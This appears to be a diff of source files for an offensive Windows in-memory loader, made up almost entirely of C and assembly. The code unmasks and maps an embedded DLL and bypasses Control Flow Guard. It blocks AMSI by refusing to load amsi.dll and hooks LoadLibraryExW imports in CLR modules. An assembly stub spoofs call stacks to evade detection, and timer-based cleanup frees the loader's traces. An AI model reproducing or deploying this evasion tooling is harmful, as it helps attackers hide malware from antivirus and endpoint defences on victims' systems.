status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
return proc_info.ExtendedProcessInfoBuffer;
}
BOOL bypass_cfg ( PVOID address )
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
VM_INFORMATION vmi = { 0 };
MEMORY_RANGE_ENTRY mre = { 0 };
CFG_CALL_TARGET_INFO cti = { 0 };
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
return FALSE;
}
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
ULONG output = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &output;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
if ( status == 0xC00000F4 )
{
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
}
if ( ! NT_SUCCESS ( status ) )
{
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if ( status == 0xC0000045 )
{
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
@@ -0,0 +1,2 @@
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
@@ -0,0 +1,97 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
BOOL enabled = cfg_enabled ( );
if ( enabled ) {
/* try to bypass it at NtContinue */
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
enabled = FALSE;
}
}
/*
* just return if we
* failed to bypass it
*/
if ( enabled ) {
return;
}
/*
* crack on and setup a timer
* to free the memory regions
*/
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
/* give RtlCaptureContext a chance to run */
KERNEL32$Sleep ( 100 );
if ( ctx.Rip != 0 )
{
#define CTX_COUNT 3
HANDLE heap = KERNEL32$GetProcessHeap ( );
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
for ( int i = 0; i < CTX_COUNT; i++ ) {
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
}
/*
* we use VirtualFree here because
* the loader uses VirtualAlloc
*/
/* the dll */
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* pico code */
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* pico data */
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* give a decent delay so ExitThread has time to be called */
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
}
}
}
@@ -0,0 +1 @@
void cleanup_memory ( MEMORY_LAYOUT * memory );
@@ -0,0 +1,147 @@
[BITS 64]
draugr_stub:
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
mov rsi, [ rsp + 40 ] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
add r14, 8
add r14, [ rdi + 56 ] ; stack size of RUTS
add r14, [ rdi + 48 ] ; stack size of BTIT
add r14, [ rdi + 32 ] ; stack size of our gadget frame
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
mov r10, rsp
add r10, 0x30 ; offset of stack arg added to rsp
looping:
xor r15, r15 ; r15 will hold the offset + rsp base
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
je finish
; ---------------------------------------------------------------------
; Getting location to move the stack arg to
; ---------------------------------------------------------------------
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
mov r15, rsp ; get current stack base
sub r15, r14 ; subtract offset
; ---------------------------------------------------------------------
; Procuring the stack arg
; ---------------------------------------------------------------------
add r10, 8
push qword [ r10 ]
pop qword [ r15 ]
; ---------------------------------------------------------------------
; Increment the counter and loop back in case we need more args
; ---------------------------------------------------------------------
add r11, 1
jmp looping
finish:
; ----------------------------------------------------------------------
; Creating a big 320 byte working space
; ----------------------------------------------------------------------
sub rsp, 0x200
; ----------------------------------------------------------------------
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
; Need to figure out why this cuts off the call stack
; ----------------------------------------------------------------------
push 0
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 56 ]
mov r11, [ rdi + 64 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 32 ]
mov r11, [ rdi + 40 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 48 ]
mov r11, [ rdi + 80 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Adjusting the param struct for the fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Copying function to call into r11
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
; ----------------------------------------------------------------------
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [ rdi + 72 ]
jmp r11
fixup:
mov rcx, rbx
add rsp, 0x200 ; Big frame thing
add rsp, [ rbx + 48 ] ; Stack size
add rsp, [ rbx + 32 ] ; Stack size
add rsp, [ rbx + 56 ] ; Stack size
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
mov r12, [ rcx + 96 ] ; ReStoring OG r12
mov r13, [ rcx + 104 ] ; ReStoring OG r13
mov r14, [ rcx + 112 ] ; ReStoring OG r14
mov r15, [ rcx + 120 ] ; ReStoring OG r15
push rax
xor rax, rax
pop rax
jmp QWORD [ rcx + 8 ]
@@ -0,0 +1 @@
#define LOADLIBRARYEXW_HASH 0x753A512
@@ -0,0 +1,210 @@
#include <windows.h>
#include <wininet.h>
#include <combaseapi.h>
#include "tcg.h"
#include "spoof.h"
#include "hash.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR );
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD );
DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * );
DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t );
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
}
HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags )
{
/* get the filename from path */
LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' );
LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' );
LPCWSTR name = back > fwd ? back : fwd;
if ( name ) {
name++;
}
else {
name = lpLibFileName;
}
/* say no to amsi */
if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) {
/* return without loading (─ ‿ ─) */
return NULL;
}
/* load the module */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
call.args [ 1 ] = spoof_arg ( hFile );
call.args [ 2 ] = spoof_arg ( dwFlags );
/* hold the result */
HMODULE module = ( HMODULE ) spoof_call ( &call );
/* check to see if it's mscoreei.dll or clr.dll */
if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 )
{
/* parse the module's headers */
IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module;
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew );
/* get the import directory */
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
/* walk every imported module */
while ( import_descriptor->Name != 0 )
{
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
/* walk every imported function */
while ( original_first_thunk->u1.AddressOfData != 0 )
{
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
/* is the imported function LoadLibraryExW? */
if ( func_hash == LOADLIBRARYEXW_HASH )
{
/* yep, hook it */
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
{
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect);
}
}
++original_first_thunk;
++first_thunk;
}
import_descriptor++;
}
}
/* now return the module */
return module;
}
HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
HMODULE module = ( HMODULE ) spoof_call ( &call );
/* was this mscoree.dll? */
if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 )
{
/* parse the module's headers */
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew );
/* get the import directory */
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
/* walk every imported module */
while ( import_descriptor->Name != 0 )
{
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
/* walk every imported function */
while ( original_first_thunk->u1.AddressOfData != 0 )
{
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
/* is the imported function LoadLibraryExW? */
if ( func_hash == LOADLIBRARYEXW_HASH )
{
/* yep, hook it */
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
{
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect );
}
}
++original_first_thunk;
++first_thunk;
}
import_descriptor++;
}
}
/* now return the module */
return module;
}
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
@@ -0,0 +1,144 @@
#include <windows.h>
#include "loader.h"
#include "tcg.h"
#include "memory.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
{
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = NULL;
void * section_dst = NULL;
DWORD section_size = 0;
DWORD new_protect = 0;
DWORD old_protect = 0;
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( int i = 0; i < section_count; i++ )
{
section_dst = dst + section_hdr->VirtualAddress;
section_size = section_hdr->SizeOfRawData;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
/* track memory */
dll_memory->Sections[ i ].BaseAddress = section_dst;
dll_memory->Sections[ i ].Size = section_size;
dll_memory->Sections[ i ].CurrentProtect = new_protect;
dll_memory->Sections[ i ].PreviousProtect = new_protect;
/* advance to section */
section_hdr++;
}
dll_memory->Count = section_count;
}
void go ( void * loader_arguments )
{
/* populate funcs */
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* load the pico */
char * pico_src = GETRESOURCE ( _PICO_ );
/* allocate memory for it */
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
/* load it into memory */
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
/* make code section RX */
DWORD old_protect;
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
/* begin tracking memory allocations */
MEMORY_LAYOUT memory = { 0 };
memory.Pico.Data = pico_data;
memory.Pico.Code = pico_code;
/* call setup_hooks to overwrite funcs.GetProcAddress */
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
/* now load the dll (it's masked) */
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
/* load dll into memory and unmask it */
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
for ( int i = 0; i < masked_dll->len; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
/* track dll's memory */
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
memory.Dll.Size = SizeOfDLL ( &dll_data );
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
/* call setup_memory to give PICO the memory info */
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* Pointer to DLL arguments */
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments );
// entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
@@ -0,0 +1,6 @@
#define GETRESOURCE(x) ( char * ) &x
typedef struct {
int len;
char value [ ];
} RESOURCE;
@@ -0,0 +1,37 @@
#define MAX_HEAP_RECORDS 32
#define MAX_SECTIONS 16
typedef struct {
PVOID Data;
PVOID Code;
} PICO_MEMORY;
typedef struct {
PVOID Address;
SIZE_T Size;
} HEAP_RECORD;
typedef struct {
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
SIZE_T Count;
} HEAP_MEMORY;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections [ MAX_SECTIONS ];
SIZE_T Count;
} DLL_MEMORY;
typedef struct {
PICO_MEMORY Pico;
DLL_MEMORY Dll;
HEAP_MEMORY Heap;
} MEMORY_LAYOUT;
@@ -0,0 +1,65 @@
#include <windows.h>
#include "memory.h"
#include "spoof.h"
#include "cleanup.h"
#include "tcg.h"
MEMORY_LAYOUT g_memory;
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
{
/* lpProcName may be an ordinal */
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
{
/* just resolve normally */
return GetProcAddress ( hModule, lpProcName );
}
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
/*
* result may still be NULL if
* it wasn't hooked in the spec
*/
if ( result != NULL ) {
return result;
}
return GetProcAddress ( hModule, lpProcName );
}
void setup_hooks ( IMPORTFUNCS * funcs )
{
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
}
void setup_memory ( MEMORY_LAYOUT * layout )
{
if ( layout != NULL ) {
g_memory = * layout;
}
}
/*
* throw these hooks in here because
* sharing a global across multiple
* modules is still a bit of a headache
*/
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
@@ -0,0 +1,12 @@
#include <windows.h>
#include "tcg.h"
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC patch_resolve ( DWORD mod_hash, DWORD func_hash )
{
HANDLE module = findModuleByHash ( mod_hash );
return findFunctionByHash ( module, func_hash );
}
@@ -0,0 +1,374 @@
#include <windows.h>
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
